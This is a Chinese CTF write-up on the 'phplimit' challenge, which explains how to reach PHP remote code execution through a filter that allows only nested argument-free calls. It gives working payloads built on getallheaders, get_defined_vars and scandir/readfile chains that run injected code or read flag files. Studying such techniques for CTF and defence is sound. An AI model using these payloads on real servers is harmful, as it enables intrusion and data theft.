PHP无参RCE

CTF WriteUp:easy - phplimit (PHP无参RCE深入解析)

0x01 题目代码与分析

php 复制代码
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}
?>

核心正则分析:/[^\W]+\((?R)?\)/

这个正则是整道题的关键,我们拆解来看:

  • [^\W]+:匹配一个或多个"非非单词字符",即匹配字母、数字、下划线 (等同于 \w+)。这里主要是匹配函数名。
  • \(\):匹配左右括号。
  • (?R)?:核心中的核心!?R 代表递归匹配整个正则表达式,? 表示可选(0次或1次)。

正则的作用:

它只匹配纯字母加括号 组成的无参函数调用,且允许函数嵌套。

例如:a(b(c())) 会被匹配,替换为空后,剩余 ;,通过判断进入 eval

限制条件:

  1. 不能传入参数 :括号里不能有字符串、数字、变量(如 a('1')a($b) 都会被正则拒绝)。
  2. 只能使用无参函数嵌套

解题核心思路:

要想执行任意代码(如 system('ls')),我们必须找到一个返回值可控的无参函数,将它作为内层函数的返回值传给外层函数。


0x02 解法一:利用 HTTP 请求头 (Apache / PHP >= 7.3)

1. 核心函数:getallheaders()

getallheaders() 会获取当前请求的所有 HTTP 头信息,返回一个数组。由于 HTTP 头(如 User-Agent、Cookie 等)是我们可以完全控制的,这就变相突破了"不能传参"的限制。

2. Payload 构造

http 复制代码
GET ?code=eval(next(getallheaders())); HTTP/1.1
Host: xxx
User-Agent: phpinfo();
...
  • getallheaders():获取所有请求头数组。
  • next():将数组内部指针向后移动一位,并返回当前元素的值。由于不同服务器对请求头的排序可能不同,通常 next() 可以跳过默认的 Host 字段,指向我们可以控制的 User-Agent 等字段。
  • eval():执行 next() 返回的字符串(即我们设置的 phpinfo();)。

⚠️ 关键知识点:Nginx 与 Apache 的环境差异(你提出的问题)

  • 传统认知(PHP < 7.3)getallheaders() 是 Apache (mod_php) 的专属函数,在 Nginx (php-fpm) 下调用会报错 Call to undefined function。因此老 WriteUp 说 Nginx 下不能用。
  • 当前现状(PHP >= 7.3)从 PHP 7.3 开始,getallheaders() 被移植到了 FastCGI/FPM 模式中! 所以现在在 Nginx + PHP 7.3+ 的环境下,getallheaders() 是可以正常使用的。
  • 结论:如果你的 Nginx 靶机 PHP 版本 >= 7.3,用这个方法完全没问题;如果版本低,就会报错。

0x03 解法二:利用全局变量 (全环境通用,无视版本)

如果 getallheaders() 被禁用或者 PHP 版本低于 7.3 导致 Nginx 下不可用,我们就需要找其他返回值可控的函数。最经典的就是 get_defined_vars()

1. 核心函数:get_defined_vars()

该函数返回由所有已定义变量组成的数组,包括 $_GET, $_POST, $_COOKIE, $_SERVER 等。由于我们可以控制 GET 传参,这就相当于我们有了一个可控的数据源。

2. 数组结构分析

当我们发送 ?code=eval(...);&b=phpinfo(); 时,get_defined_vars() 的返回值大致如下:

php 复制代码
Array
(
    [0] => Array        // 这是 $_GET 数组
        (
            [code] => eval(...);
            [b] => phpinfo();
        )
    [1] => Array        // 这是 $_POST 数组
        ...
)

我们的目标是取到最内层的 phpinfo(); 这个字符串。

3. Payload 构造

http 复制代码
GET ?code=eval(next(current(get_defined_vars())));&b=phpinfo(); HTTP/1.1
  • get_defined_vars():获取所有变量大数组。
  • current():获取当前指针元素,默认指向第一个元素,即 $_GET 数组。
    (注:PHP 7.3 前用 current,PHP 8.1 后 current 对内部指针行为有变化,部分环境可能需要用 resetarray_pop 等)
  • next():将 $_GET 数组的指针从 code 移动到 b,并返回 b 的值,即字符串 phpinfo();
  • eval():执行该字符串。

0x04 解法三:纯目录遍历读取 (无需注入代码)

有时候 eval 被禁用,或者我们不需要执行系统命令,只需要读取 Flag 文件,可以使用纯文件操作函数的嵌套。

1. 核心思路

利用 scandir() 列目录,配合数组操作函数找到 flag 文件,最后用 readfile()file_get_contents() 读取。

2. Payload:读取当前目录倒数第二个文件

通常目录结构为 ['.', '..', 'flag.php', 'index.php']。倒数第二个往往是 flag。

php 复制代码
?code=readfile(next(array_reverse(scandir(getcwd()))));
  • getcwd():获取当前工作目录路径。
  • scandir():列出目录中的文件和目录。
  • array_reverse():将数组反转,原来的倒数第二变成正数第二。
  • next():跳过第一个(原最后一个 index.php),指向第二个(原倒数第二 flag.php)。
  • readfile():读取并输出文件内容。

3. Payload:读取上级目录的 flag

如果 flag 在上一级目录,需要结合 chdir() 改变当前目录,因为 scandir() 接受目录路径参数。

php 复制代码
?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
  • 这里的巧妙之处在于 chdir() 成功返回 1(true),失败返回 false,但它确实改变了工作目录。嵌套在 dirname() 中,dirname(1) 会返回当前目录 . 或配合改变后的路径继续向上。

0x05 总结与提炼

这道题是 PHP 无参 RCE 的母题,掌握它就掌握了一大类题。请记住以下核心应对策略:

场景 可用 Payload 备注
有请求头控制权限 eval(end(getallheaders())); (修改最后请求头) eval(next(getallheaders())); (修改User-Agent等) Apache全版本可用;Nginx需 PHP >= 7.3。
无请求头控制/老版本Nginx eval(next(current(get_defined_vars())));&1=phpinfo(); eval(end(get_defined_vars())); (用POST传参) 最通用,无视服务器类型和PHP版本。
只需读文件,无注入点 readfile(next(array_reverse(scandir(getcwd())))); 利用数组指针操作函数(next, end, array_pop, array_rand)。
需要跳目录读文件 readfile(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); array_flip 交换键值配合 array_rand 随机读取也是常见绕过姿势。

划重点: 做题时,优先尝试 getallheaders(),因为构造简单;如果报错未定义函数,立刻切换思路使用 get_defined_vars(),这是保底解法!

相关推荐
你觉得脆皮鸡好吃吗12 小时前
HTTP 状态码体系 (AI)
网络·安全·web安全
JaguarJack12 小时前
TrueAsync Server 为 PHP 带来了原生的高性能 HTTP 服务器
后端·php
狗凯之家源码网1 天前
基于PHP的多语言跨境电商B2B2C商城系统技术解析
开发语言·php
ylscode1 天前
微软Exchange Server曝高危零日漏洞:朝鲜黑客利用“Toast攻击“入侵企业邮件系统
网络·安全·web安全
imuliuliang1 天前
Laravel 1.x:框架传奇的起点
php·laravel
楷哥爱开发1 天前
演唱会自动化抢票如何提高成功率?票务住宅IP与配置指南
服务器·前端·php
名字不相符1 天前
ctfshow之MISC入门(个人记录与学习)
学习·ctf·misc
imuliuliang1 天前
Laravel 2.x:PHP框架的早期革新之路
开发语言·php·laravel
跨境数据猎手1 天前
跨境商城反向海淘系统开发全流程逻辑(下)
开发语言·php